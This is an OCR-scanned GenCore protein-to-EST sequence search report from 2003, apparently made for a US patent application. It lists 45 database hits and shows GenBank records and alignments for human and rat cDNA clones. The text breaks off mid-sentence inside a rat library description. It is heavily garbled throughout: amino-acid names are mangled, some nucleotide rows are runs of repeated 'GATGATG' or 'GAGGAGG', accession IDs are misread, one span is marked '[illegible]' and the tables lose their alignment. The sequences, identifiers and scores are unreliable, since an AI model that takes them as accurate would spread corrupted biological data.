

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 19:45:28 ; Search time 1827 Seconds

(without alignments)

3403.978 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 384

Sequence: 1 MDPAGSGRGVLPKRCRLVL.....CVEPPSMKPOQMPPEEPL 384

Scoring table:

OLIGO
Xgapop 60.0 , Xgapext 60.0
Ygapop 60.0 , Ygapext 60.0
Fgapop 6.0 , Fgapext 7.0
Delop 6.0 , Delext 7.0

Searched: 16154066 seqs, 8097743376 residues

Word size: 1

Total number of hits satisfying chosen parameters: 32308016

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Listing first 45 summaries

Command line parameters:

-MODEL-frame+ p2n.model -DEV-xlh
-O=/cgn2_1/USPTO.spool/US09784810/tunat_11072003_103504_27206/app-query.fasta.1.583
-DB-EST -QFWT-fastap -SUFFIX-olig.rst -MINMATCH-0.1 -LOOPEXT-0 -LOOPEXT-0
-UNITS-bits -START-1 -END-1 -MATRIX-oligo -TRANS-human40.cdi -LIST-45
-DOCLALIGN-200 -THR.SCORE-quality -THR.MIN-1 -ALIGN-15 -MODE-LOCAL -OUTFWT-plo
-NOR-ext -HEARSTEE-500 -MINLEN-0 -MAXLEN-2000000000
-USER=US09784810.ecgn.1.11906.6tunat_11072003_103504_27206 -NCPU-6 -ICPU-3
-NO_MMAP -LARGESQDEPRY -NEG_SCORES-0 -WAIT -DSPBLOCK-100 -LONGLOG
-DEV.TIMEOUT=120 -WARN_TIMEOUT=30 -THREADS=1 -XGAPOP-60 -XGAPEXT-60 -Fgapop=6
-Fgapext=7 -YGAPOP=60 -YGAPEXT=60 -DELOP=6 -DELEXT=7

Database :

EST:*
1: em_estba:*
2: em_esthum:*
3: em_estlin:*
4: em_estmu:*
5: em_estov:*
6: em_estpl:*
7: em_estro:*
8: em_hic:*
9: gb_est1:*
10: gb_est2:*
11: gb_hic:*
12: gb_est3:*
13: gb_est4:*
14: gb_est5:*
15: em_estfun:*
16: em_estom:*
17: gb_gss:*
18: em_gss_hum:*
19: em_gss_huv:*
20: em_gss_pln:*
21: em_gss_vrt:*
22: em_gss_fun:*
23: em_gss_mam:*
24: em_gss_mus:*
25: em_gss_other:*
26: em_gss_pro:*
27: em_gss_rtd:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	% Match	Query Length	DB ID	Description
1	144	37.5	2133	11 BC014439	BC014439 Homo sapi
2	126	32.8	1005	11 BM559257	BM559257 AGENCOURT
3	115	29.9	478	12 BE740866	BE740866 601593092
4	115	29.9	603	10 BE275818	BE275818 601121616
5	115	29.9	852	10 BE274434	BE274434 601120471
6	114	29.7	1232	13 BM556915	BM556915 AGENCOURT
7	111	28.9	662	13 BM386957	BM386957 UT-R-CN1-
8	103	26.8	999	14 BQ675531	BQ675531 AGENCOURT
9	97	25.3	1100	12 BG678689	BG678689 602624488
10	96	25.0	1137	14 BM916526	BM916526 AGENCOURT
11	96	25.0	1137	14 BM810136	BM810136 AGENCOURT
12	95	24.7	676	10 AM963415	AM963415 EST375488
13	95	24.7	888	14 BQ647377	BQ647377 AGENCOURT
14	95	24.7	1115	13 BM550039	BM550039 AGENCOURT
15	93	24.2	697	13 B1255900	B1255900 602976518
16	91	23.7	618	10 AM662445	AM662445 h127c05.x
17	91	23.7	1054	14 BM808698	BM808698 AGENCOURT
18	86	22.4	534	12 BE904632	BE904632 601498734
19	85	22.1	720	14 BQ109456	BQ109456 Imageqc-7
20	80	20.8	650	12 BG104264	BG104264 602310848
21	80	20.8	772	9 A1769914	A1769914 w130d06.x
22	79	20.6	271	14 D31133	D31133 HUMH12618 H
23	79	20.6	348	14 BM709951	BM709951 UT-E-CK1-
24	78	20.3	1134	14 BM808666	BM808666 AGENCOURT
25	76	19.8	856	13 B1757316	B1757316 603028531
26	75	19.5	675	9 A0134361	A0134361 AGENCOURT
27	75	19.5	973	10 BE273426	BE273426 601142888
28	74	19.3	809	12 BG280830	BG280830 602401209
29	73	19.0	785	12 BG680521	BG680521 602628344
30	69	18.0	702	10 BE464487	BE464487 h217910.x
31	65	16.9	318	13 B1013436	B1013436 CM4-ET023
32	61	15.9	356	9 AA081152	AA081152 zn34a06.r
33	61	15.9	386	14 BM797761	BM797761 K-EST0081
34	59	15.4	892	13 B1860351	B1860351 603387479
35	57	14.8	1075	13 BM557357	BM557357 AGENCOURT
36	56	14.6	587	9 AUI47968	AUI47968 AUI47968
37	55	14.3	447	9 A1042283	A1042283 oy13e08.x
38	54	14.1	662	12 BE893504	BE893504 601438057
39	53	13.8	914	13 B1823329	B1823329 603041240
40	52	13.5	255	12 BE930311	BE930311 MR2-NT013
41	47	12.2	671	10 AV694791	AV694791 AV694791
42	44	11.5	206	13 BG987849	BG987849 CM3-HT115
43	43	11.2	341	9 AA026479	AA026479 zj99b03.r
44	43	11.2	604	9 AUI22376	AUI22376 AUI22376
45	43	11.2	875	13 BM006005	BM006005 603613736

ALIGNMENTS

RESULT 1
LOCUS BC014439 2133 bp mRNA
DEFINITION BC014439 Homo sapiens, clone IMAGE:4871343, mRNA.
ACCESSION BC014439.1 GI:17939597
VERSION BC014439.1
KEYWORDS
SOURCE
ORGANISM Homo sapiens.
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
REFERENCE 1 (bases 1 to 2133)
AUTHORS Strausberg, R.
TITLE Direct Submission
JOURNAL Submitted (17-SEP-2001) National Institutes of Health, Mammalian

REMARK
COMMENT

Gene Collection (MGC), Cancer Genomics Office, National Cancer Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590, USA
 NIH-MGC Project URL: <http://mgc.nci.nih.gov>
 Contact: MGC help desk
 Email: cgabs-remail.nih.gov
 Tissue procurement: ATCC/DCMP/DRP
 cDNA Library Preparation: Rubin Laboratory
 cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
 DNA Sequencing by: Genome Sequence Centre,
 BC Cancer Agency, Vancouver, BC, Canada

Info@cgsc.bc.ca
 Steven Jones, Jennifer Asano, Ian Bosdet, Yaron Butterfield, Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Ran Guin, Leticia Hsiao, Martin Krzywinski, Reta Kutsche, Oliver Lee, Soo Sen Lee, Victor Ling, Carrie Mathewson, Candice McLeay, Jacqueline Ness, Pavan Pandoh, Anna-Lisa Prabhu, Parvaneh Saeedi, Jacqueline Schein, Duane Smallus, Michael Smith, Lorraine Spence, Jeff Stolt, Michael Thorne, Miranda Tsai, Natasja van den Bosch, Jill Vardy, George Yang, Scott Zuyderduyn, Marco Marra.

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LLNL at: <http://image.llnl.gov>
 Series: IRAL Plate: 34 Row: 1 Column: 9
 This clone was selected for full length sequencing because it passed the following selection criteria: matched mRNA 91: 11464966
 This clone has the following problem: incomplete processing.

FEATURES
source

Location/Qualifiers
 1..2133
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="IMAGE:4871343"
 /tissue_type="Skin, melanotic melanoma, high MDR."
 /clone_id="NH_MGC_49"
 /lab_host="DH10B-R"
 /note="Vector: pORF7"
 681 c 383 t
 719 g

BASE COUNT
ORIGIN

Alignment Scores:
 Pred. No.: 5,58e-131 Length: 2133
 Score: 144.00 Matches: 375
 Percent Similarity: 95.42% Conservative: 0
 Best Local Similarity: 95.42% Mismatches: 9
 Query Match: 37.50% Indels: 18
 DB: 11 Gaps: 0

US-09-784-810A-2 (1-384) x BC014439 (1-2133)

OY 1 MetaspProalaglylygProarglyValleuProarProCysaArgValleuValleu 20
 Db 693 ATGGATCCAGCGGGGCGGCCCGGGGGGTCTCCGGGGCGCTGCGTGGTGG 752
 OY 21 LeuAaProarGlylygLylygLylyAlaLeuGlnLeuPheArGSerHisValGlnPro 40
 Db 753 CTGAACCCCGCGGGGCGCAAGGCAAGCCCTTGACGCTTCGAGAGTCAAGGCAAGCC 812
 OY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgArGAsnHisAla 60
 Db 813 CTTTGGCTGAGGCTGAATCTCTTCAAGCTGATGCTCACTGAGCGGCGAACCAGCGC 872
 OY 61 ArgGluLeuValArgSerGluLeuLeuGlyArgTrpAspAlaValMetSerGly 80
 Db 873 CGGAGCTGTGGCTGCGAGAGAGCTGGGCGCTGAGAGCTGTGGTGTATTTCTGGA 932
 OY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTrpGluThrAla 100
 Db 933 GACCGGCTGATGACAGGAGTGTGTAACGGGCTCAAGGAGCGGCTGAGTGGAGACCC 992
 OY 101 IlleGlnysProLeuGlySerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu 120
 Db 993 ATCCAGAGCCCGCTGTACCTCCAGCAGAGGCTTGAGCAAGCGCTGGACGCTTCCTTG 1052

OY 121 AsnHisTyraAlaGlyTyrGluGlnValThrAsnGluAspLeuThrAsnGlyThrLeu 140
 Db 1053 AACCATTTGCTGCTATGAGAGGTACCAATGAAGACCTCTGACCAACATGACGCTA 1112
 OY 141 LeuLeuGlyArgProVal--LeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerG 160
 Db 1113 TTGCTGTGCGC-CGGCC-TGCTGTACACCATGAACCTGCTGTGCAACAGGCTTCGG 1170
 OY 160 TyLeuArgSer-PheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValLeu 179
 Db 1171 GGCTGGCCCT-CCTCTGTGCTCTACAGCTGGGCTGGGGCTTCATGCTGATGGAGCTA 1229
 OY 180 GluSerAsp-TyTyrArgArgLeuGlyGlyMetArgPheThrLeuGlyThrPheLeu 199
 Db 1230 GAGAGTGA-GAAGTATCGGCGCTGCGGGAGATGGCTTCACTTGGGCACTCTTCGCG 1288
 OY 199 GluAlaAlaLeuAlaGlyThrTyrArgGlyArgLeuAlaThr-LeuProValGlyArgValG 219
 Db 1289 TCTGCGAGCCCTGCGCACTACCGGCGGCGGAGCTGGCTTA-CCTCCGTGTAGGAAGCT-G 1346
 OY 219 TyPhe-TyThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeu 238
 Db 1347 GGTTCCAAGACACTGCTCCCGCTTGTGTCCAGCAGGGCGGCTGATGCACACTT 1406
 OY 239 ValProLeuGluGluGln-ValProSerHisTrpGln-ValValProAspGluAspPhe 258
 Db 1407 GTGCCACTGGAGAGGCC-AGTGGCTTCTCACTGAGC-AGTGGTCCGACGAGGACTTGG 1464
 OY 258 AlLeuValLeuAlaLeuLeuHisSerHisLeuAla-SerGluMetPheAlaIleProMet 277
 Db 1465 TGTATGTCCTGGCACTGCTGCACCTGCGACCTGGG-CAGTGAAATGTTGCTGACCCATG 1523
 OY 278 GlyArgCysAlaAlaGlyValMetHisLeuPheTyr-ValArgAlaGlyValSerArgAla 297
 Db 1524 GGCCCTGTGCAAGCTGGGCTGATCATCTGTTCTACGTGGGCGGAGATGTCGTGGTGC 1583
 OY 298 MetLeuLeuArgLeuPheLeuAlaMetGlyGlyArgHisMetGlyGlyGlyGlyGlyPro 317
 Db 1584 ATGCTGCTGGCGCTCTCTCCGATGAGAGAGGAGGCAATGAGATGAGATGCC 1643
 OY 318 TyrLeuValTyTyrValProValValAlaPheArgLeuGluProLysAspGlylyGlyVal 337
 Db 1644 TACTTGTGTATGAGTGGCGCGTGGTGGCTTCCGCTTGGAGCCCAAGATGGGAAAGTGG 1703
 OY 338 PheAlaValAspGlyGlyLeuLeuMetValSerGluAlaValGlnGlyGlnValHisProAsn 357
 Db 1704 TTTCGAGTGGATGGGAATGTATGTAGCCAGGCGCTGCAAGGCGCAGTGCACCAAC 1763
 OY 358 TyrPheTrpMetValSerGlyCysValGluProProSerTrpLysProGlnGlnMet 377
 Db 1764 TACTTGTGATGTGTACAGCGTTGCGTGGAGCCCGCCAGCTGAGAACCCCAAGATG 1823
 OY 378 ProProGluGluProLeu 384
 Db 1824 CCACCGCCACAGAGCCCTTA 1844

RESULT 2
 BM559257 1005 bp mRNA linear EST 20-FEB-2002
 LOCUS AGENCOURT_6598353 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:547413
 DEFINITION 5', mRNA sequence.
 ACCESSION BM559257
 VERSION BM559257.1 GI:18802694
 KEYWORDS EST.
 ORGANISM human.
 Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1 (bases 1 to 1005)
 AUTHORS NIH-MGC <http://mgc.nci.nih.gov/>.
 TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
 JOURNAL Unpublished (1999)
 COMMENT Contact: Robert Strausberg, Ph.D.

Email: c9abs-remail.nih.gov
Tissue Procurement: DCTD/DTF
CDNA Library Preparation: Rubin Laboratory
CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LNL at:
<http://image.llnl.gov>
Plate: LNCM1987 row: 3 column: 14
High quality sequence stop: 618.

FEATURES

SOURCE

1. 1005

/organism="Homo sapiens"

/db_xref="taxon:9606"

/clone="IMAGE:5474413"

/clone_lib="NIH_MGC_41"

/tissue_type="amelanotic melanoma, cell line"

/lab_host="DH10B (phage-resistant)"

/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2:

EcoRI; CDNA made by oligo-dT priming. Directionally cloned

into EcoRI/XhoI sites using the following 5' adaptor:

GGCAGCAG(C). Library constructed by Ling Hong in the

Laboratory of Gerald M. Rubin (University of California,

Berkeley) using ZAP-CDNA synthesis kit (Stratagene) and

Superscript II RT (Life Technologies). Note: this is a

NIH_MGC Library."

BASE COUNT

157 a 333 c 348 g 167 t

ORIGIN

Alignment Scores:

Pred. No.: 1.43e-113 Length: 1005

Score: 126.00 Matches: 126

Percent Similarity: 100.00% Conservative: 0

Best Local Similarity: 100.00% Mismatches: 0

Query Match: 32.81% Indels: 0

DB: 13 Gaps: 0

US-09-784-810A-2 (1-384) x BM559257 (1-1005)

QY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
DB 326 ATGGATCCAGCGGG 385
QY 21 LeuAsnProArgGlyGlyGlyGlyAlaLeuGlnLeuPheArgSerHisValGlnPro 40
DB 386 CTGAACCCGGCGGG 445
QY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
DB 446 CTTTGGCTGAGCTGAATCTCTTCACGCTGATGCTGACGAGCGGGGAGACACGCG 505
QY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeuValMetSerGly 80
DB 506 CGGAGCTGGTGGCGGGAG 565
QY 81 AspGlyLeuMetHisGluValAlaAsnGlyLeuMetGluArgProAspTrpGluThraAla 100
DB 566 GACGGGCTGATGACAGAGAGTGTGAAGGGCTCATGAGCGGGCTGACTGGGAGACGCC 625
QY 101 IleGlnLysProLeuGlySerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu 120
DB 626 ATCCAGAAAGCCCTGTGTAGCTCCACAGACAGCTCTGGCAACGGGCTGGAGCTTCCT 685
QY 121 AsnHisTyrAlaGlyTyr 126
DB 686 AACCATTAATGCTGGCTAT 703

RESULT 3

BE740866

LOCUS 601593092P1 NIH_MGC_9 Homo sapiens CDNA clone IMAGE:3947182 5',

DEFINITION

BE740866

MRNA sequence.

478 bp

MRNA

linear

EST

15-SEP-2000

US-09-784-810A-2 (1-384) x BE740866 (1-478)

QY 270 SerGluMetPheAlaAlaProMetGlyArgCysAlaAlaGlyValMetHisLeuPheTyr 289
DB 125 AGTGGATGTTTCTGTCACCCATGGGCGGGTGTGACGCTGCATGATCTGTTCTAC 184
QY 290 ValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGly 309
DB 185 GTGGGGGGGAGAGTGTGTCGTCATGCTGTGGCGCTTCCTCGGCCATGAGAGAGGCC 244
QY 310 ArgHisMetGluTyrGluCysProTyrLeuValTyrValProValValAlaPheArgLeu 329
DB 245 AGGCATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 304
QY 330 GluProLysAspGlyLysGlyValPheAlaValAspGlyGluLeuMetValSerGluVala 349
DB 305 GAGCCCAAGATGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGG 364
QY 350 ValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysValGluProPro 369
DB 365 GTGCAGGGCCAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGG 424
QY 370 ProSerTrpLysProGlnGlnMetProProProGluGluProLeu 384
DB 425 CCCAGCTGGAAGCCCAAGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 469

[illegible]

Db	342	MGCGAGGCGGAGGTGACCCAACTACTGTGTGATGATCAGCGGTTCGTGAGGACCCG	401
Oy	370	ProSeRThlypSrProInglMePProProglJugJupProLeu	384
Db	402	CCGACCTGGAAGCCCGACAGAGTGCACCCCGAAGAACCCCTTA	446
RESULT 5			
LOCUS	BE274434		
DEFINITION	60112047F1 NIH_MGC_20 Homo sapiens cDNA clone IMAGE:2967553 5',	852 bp	mRNA linear EST J3-JUL-2000
ACCESSION	BE274434		
VERSION	BE274434.1		
KEYWORDS	GI:9149375		
SOURCE	human.		
ORGANISM	Homo sapiens		
REFERENCE	Eukaryota: Metazoa: Chordata: Craniata: Vertebrata; Euteleostomi;		
AUTHORS	Mammalia: Eutheria: Primates: Catarrhini, Homnidae; Homo.		
TITLE	1 (bases 1 to 852)		
JOURNAL	NIH-MGC http://mgc.nci.nih.gov/		
COMMENT	Unpublished (1999)		
	Contact: Robert Strausberg, Ph.D.		
	Email: cgapsb-femail.nih.gov		
	Tissue Procurement: ATCC/DCMP/DRP		
	cDNA Library Preparation: Ling Hong/Rubin Laboratory		
	cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)		
	DNA Sequencing by: Incyte Genomics, Inc.		
	Clone distribution: MGC clone distribution information can be		
	found through the I.M.A.G.E. Consortium/LLNL at: image.llnl.gov		
	Plate: LCM71 row: m column: 18		
	High quality sequence stop: 827.		
FEATURES			
source	1..852		
	/organism="Homo sapiens"		
	/db_xref="taxon:9606"		
	/clone="IMAGE:2967353"		
	/clone_1lb="NIH_MGC_20"		
	/tissue_type="melanocytic melanoma"		
	/lab_host="DH10B (phage-resistant)"		
	/note="Organ: SKIN, Vector: pORF7, Site_1: XhoI, Site_2:		
	EcoRI; cDNA made by oligo-dT priming. Directionally		
	cloned into EcoRI/XhoI sites using the following 5'		
	adapter: GGCGACGAG(G). Size-selected >500bp for average		
	insert size 1.8kb. Library constructed by Ling Hong in		
	the laboratory of Gerald M. Rubin (University of		
	California, Berkeley) using ZAP-cDNA synthesis kit		
	(Stratagene) and Superscript II RT (Life Technologies)."		
BASE COUNT	132 a 278 c 301 g 141 t		
ORIGIN			
Alignment Scores:			
Pred. NO.:	8 56e-103	Length:	852
Score:	115.00	Matches:	128
Percent Similarity:	99.22%	Conservative:	0
Best Local Similarity:	99.22%	Mismatches:	0
Query Match:	29.95%	Indels:	1
	10	Gaps:	0
US-09-784-B10A-2 (1-384) x BE274434 (1-852)			
Oy	1	MetaSPProLaJagJyLyProArGJyValLeuProArGProCyArGValLeuValLeu	20
Db	310	ATGATCTCAGCGGGCGGCCCCGGGGCTGTCCCGCGGCTCTGCTGTGGCG	369
Oy	21	LeuAsnProArGJyLyGJyLySAlaLeuGlnLeuPheArGSerHisValGlnPro	40
Db	370	CTGACACCGCGCGCGGCGAAGGCGCATCGAGCTCTTCCGGAGTCAAGTGCAGCC	429
Oy	41	LeuLeuAla-GlnAlaGlnIleSerPheThrIleMetIleuThrGluArgArGAsnHisAl	60
Db	430	CTTTTGCGCTTGAGGCTGAATCTCTTACCGTGAATGCTCACTGAGCGCGAACCACGC	489

OY 60 aatggluleuValarSerglugluleuGlyarGtrPaspalaLeuValmetSergl 80
 DB 490 GCGGAGCTGGTGGCGGAGAGAGAGCGGCGCTGGAGAGCTGGTGGTGGTGGTGG 549
 OY 80 yaagcglyleuMetHsGluValaAsnglyleuMetGluarGtrPaspalaLeuVal 100
 DB 550 AGAGGGGCTGATGACAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 609
 OY 100 ailegllyleuProleuGlySerGluProAlaGlySerGlyAsnAlaLeuAlaSerle 120
 DB 610 CATCAGAGAGCCCTGGTGGAGCTCCAGAGAGCTGGAGAGCTGGAGAGCTGGAG 669
 OY 120 uasnHsTyrAlaGlyTyrGluGln 128
 DB 670 GAACCATTTATGCTGGCTATGAGCAG 694
 RESULT 6
 BM556915 1232 bp mRNA linear EST 20-FEB-2002
 LOCUS AGENCOURT.6577988 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5467608
 DEFINITION 5', mRNA sequence.
 ACCESSION BM556915
 VERSION BM556915.1 GI:18798522
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1 (bases 1 to 1232)
 AUTHORS NIH-MGC http://mgc.nci.nih.gov/.
 TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
 JOURNAL Unpublished (1999)
 COMMENT Contact: Robert Strausberg, Ph.D.
 Email: rgs@bbs-rtmail.nih.gov
 Tissue Procurement: DCTD/DTP
 CDNA Library Preparation: Rubin Laboratory
 DNA Library Arrayed by: The I.M.A.G.E. Consortium (LNLN)
 DNA sequencing by: Agencourt Bioscience Corporation
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LNLN at:
 http://image.lnl.gov
 Plate: LNCMI969 row: 0 column: 01
 High quality sequence stop: 447.
 Location/Qualifiers
 1. 1232
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone_image="5467608"
 /clone_lib="NIH_MGC_41"
 /tissue_type="amelanotic melanoma, cell line"
 /lab_host="DH10B (phage-resistant)"
 /note="Organ: skin; Vector: pORF7; Site_1: XhoI; Site_2:
 EcoRI; cDNA made by oligo-dT priming. Directionally cloned
 into EcoRI/XhoI sites using the following 5' adaptor:
 GGCAGAGAG(G). Library constructed by Ling Hong in the
 laboratory of Gerald M. Rubin (University of California,
 Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
 Superscript II RT (Life Technologies). Note: this is a
 NIH_MGC Library."
 BASE COUNT 250 a 369 c 392 g 220 t 1 others
 ORIGIN
 Alignment Scores:
 Pred. No.: 1.23e-101 Length: 1232
 Score: 114.00 Matches: 114
 Percent Similarity: 100.00% Conservative: 0
 Best Local Similarity: 100.00% Mismatches: 0
 Query Match: 29.69% Indels: 0
 DB: 13 Gaps: 0
 US-09-784-810a-2 (1-384) x BM556915 (1-1232)
 OY 271 GluMetPheAlaAlaPrometGlyARGCysAlaAlaGlyValMetHsLeuPheTyrVal 290

DB 27 GAGATGTTTGGTGCACCCATGGCGCGCTGTCACATGCATGATCTTCTACGTG 86
 OY 291 ArgAlaGlyValaSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluGlyArg 310
 DB 87 CGGGGGGAGGTCTCGGCGCATCTGCTGCGCTCTTCCCTGGGCATGAGAGAGGAGG 146
 OY 311 HsMetGluTyrGluCysProTyrLeuValTyrValProValAlaAlaPheArgLeuGlu 330
 DB 147 CATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 206
 OY 331 ProLysaspGlyGlyGlyValaPheAlaValaSpGlyleuMetValSerGluAlaVal 350
 DB 207 CCCAAGGATGGGAAGAGGTGTTGACATGGAGGGAATGATGATGATGATGATGATGATG 266
 OY 351 GlnGlyGlnValaHsProAsnTyrPheTyrMetValSerGlyCysValaGluProPro 370
 DB 267 CAGGCGCAGGTGCACCCCAAACTCTGATGATGATGATGATGATGATGATGATGATG 326
 OY 371 SerTyrLysProGlnGlnMetProProGluGluProLeu 384
 DB 327 AGCTGGAGAGCCCGACAGATGCCACCGCCAGAGAGCCCTTA 368
 RESULT 7
 BM386957/c 662 bp mRNA linear EST 17-JAN-2002
 LOCUS UI-R-CNI-cj1-c-13-0-UI.s1 UI-R-CNI Rattus norvegicus cDNA clone
 DEFINITION UI-R-CNI-cj1-c-13-0-UI 3', mRNA sequence.
 ACCESSION BM386957
 VERSION BM386957.1 GI:18187010
 KEYWORDS EST.
 SOURCE Norway rat.
 ORGANISM Rattus norvegicus
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae;
 Rattus.
 REFERENCE 1 (bases 1 to 662)
 AUTHORS Bonaldo,M.F., Lennon,G. and Soares,M.B.
 TITLE Normalization and subtraction: two approaches to facilitate gene
 discovery
 JOURNAL Genome Res. 6 (9), 791-806 (1996)
 MEDLINE 97044477
 COMMENT Contact: Soares, MB
 Program for Rat Gene Discovery and Mapping
 University of Iowa
 451 Eckstein Medical Research Building Iowa City, IA 52242, USA
 Tel: 319 335 8250
 Fax: 319 335 9565
 Email: mscares@blue.weeg.uiowa.edu
 The sequence contained an oligo-dT track that was present in the
 oligonucleotide that was used to prime the synthesis of first
 strand cDNA and therefore this may represent a bonafide poly A
 tail. cDNA Library Preparation: M.B. Soares Lab Clone distribution:
 clones will be available through Research Genetics (www.resgen.com)
 Seq primer: M13 Forward
 POLYA=Yes.
 Location/Qualifiers
 1. 662
 /organism="Rattus norvegicus"
 /strain="Sprague-Dawley"
 /db_xref="taxon:10116"
 /clone="UI-R-CNI-cj1-c-13-0-UI"
 /clone_lib="UI-R-CNI"
 /dev_stage="adult"
 /lab_host="DH10B (Life Technologies)"
 /note="Vector: pRT3D-Pac (Pharmacia) with a modified
 polylinker; Site_1: Not I; Site_2: Eco RI; The UI-R-CNI
 library is a subtracted library derived from the following
 pool of seven normalized rat libraries: normalized rat
 seminal vesicles, normalized rat penis, normalized rat
 bladder, normalized rat cervix, normalized rat brown
 adipose, normalized rat fundus, and normalized rat
 salivary gland. It was constructed according to the

procedure described by Bonaldi, Lennon & Soares (Genome Research 6: 791-806, 1996). For construction of the CN1 library, plasmid DNA from the pool of normalized libraries was electroporated into competent bacteria for the production of single-stranded circular DNA. This was then used as a tracer in a subtractive hybridization with a driver (PCR amplified inserts from a plasmid DNA template preparation) comprising: a) a pool of about 34,000 clones from the Rat Unigene Set corresponding to plates R-5-AA-NN excluding plates R-5-MM and MN. This pool represented 40% of the final driver population. b) a pool of about 29,000 clones from subtracted libraries C40 and C41 corresponding to plates R-CA0-AMV through R-CA0-AXS, R-CA0-AZX through R-CA0-BAZ, R-CA0-BFE through R-CA0-BHY, R-CA0-BIS, R-CA0-BKE, R-CA0-BKG-H, R-CA0-BKJ-K, R-CA0-BKP through R-CA0-BKS, R-CA0-BKU-V, R-CA0-BLY through R-CA0-BMA, R-CA0-BMC through R-CA0-BME, R-CA0-BNS, R-CA0-BOB through R-CA0-BOJ, R-CA0-BPA through R-CA0-BPG, R-CA0-BBA through R-CA0-BQJ, R-CA0-BHZ through R-CA0-BIF, R-CA0-BJR, R-CA0-BKT, R-CA0-BKH, R-CA0-BLW, R-CA0-BMR, and R-CA0-BNI, R-CA0-BLS, R-CA0-BLU-V, R-CA0-BLH through R-CA0-BLE. The resulting pool represented 20% of the final driver population. c) a pool of about 15,000 clones from non-normalized libraries CS0s, CT0s, CU0s, CW0s, CX0s and normalized libraries CS0, CT0, CU0, CW0, and CX0 corresponding to plates R-CS0s-CBD through R-CS0s-CBO, R-CT0s-CAM through R-CT0s-CAX, R-CU0s-CBP through R-CU0s-CCA, R-CW0s-CCB through R-CW0s-CCM, R-CX0s-CCN through R-CX0s-CCX, R-CS0-BSB, R-CS0-BTD through R-CS0-BTV, R-CS0-BVM, R-CT0-BTW through R-CT0-BUP, R-CT0-BVN, R-CU0-BUO through R-CU0-BVL, R-CW0-BVW through R-CW0-BMP, R-CX0-BXN through R-CX0-BXO, R-CX0-BWQ through R-CX0-BXM. The resulting pool represented 5% of the final driver population. d) a pool of about 5,000 clones (1,000 from non-normalized eye library C40 and 4,000 from normalized eye library C41) corresponding to plates R-CV0-BRH through R-CV0-BRR, R-CV1-BRS through R-CV1-BSC, R-CV1-BSE through R-CV1-BTC, and R-CV1-BVO through R-CV1-BVU. This pool represented about 5% of the final driver population. e) A pool of about 10,000 clones from subtracted library BS2, BV0 and BVOP (7-9.5 kb cDNA library fraction from rat whole embryo), and BX0 (0.5-7kb cDNA library fraction from rat whole embryo) corresponding to plates R-BS2-BDB through R-BS2-BFB, R-BV0-ANR through R-BV0-ANR, R-BVOP-AOI through R-BVOP-AOX, and R-BX0-AOY through R-BX0-ASH. The resulting pool represented 5% of the final driver population. f) a pool of about 7,000 clones from the seven non-normalized libraries that make up the tracer including CY0, CZ0, DA0, DB0, DC0, DD0, and DE0 corresponding to plates R-CY0-BXP through R-CY0-BXZ, R-CZ0-BYA through R-CZ0-BYI, R-DA0-BZB-C, R-DA0-BYJ through R-DA0-BYP, R-DA0-BZD through R-DA0-BZH, R-DB0-BYQ through R-DB0-BZA, R-DC0-BZT through R-DC0-BZO, R-DD0-CAY through R-DD0-CBA, R-DD0-BZK through R-DD0-CAH, R-DD0-CBB-C, and R-DE0-CAB through R-DE0-CAL. The resulting pool represented about 10% of the final driver population. g) a pool of about 